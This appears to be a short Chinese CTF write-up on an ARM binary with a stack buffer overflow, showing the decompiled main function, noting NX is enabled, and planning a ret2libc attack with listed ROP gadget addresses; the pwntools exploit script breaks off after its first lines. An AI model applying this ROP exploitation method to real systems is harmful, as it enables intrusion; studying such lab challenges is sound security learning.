学习一道arm题目

初试一道arm

signed int main_0()
{
   
  char buf; // [sp+0h] [bp-24h]

  sub_10538();
  puts("your name:\n");
  read(0, &buf, 0x100u);
  printf("hello %s\n", &buf);
  return 1;
}

栈溢出，开启NX，其他啥也没有，ret2libc

参数传递r0-r4

找几个gadget 传参和调用

pop_r3_pc = 0x000103a4   
pop_r4_r5_r6_r7 = 0x00010638   
mov_r0_r7_call = 0x00010628   
pop {r4,r5,r6,r7,sb,sl,pc}
pop {r3,pc}
mov r0,r7;bx r3

exp ：

from pwn import *

context.log_level =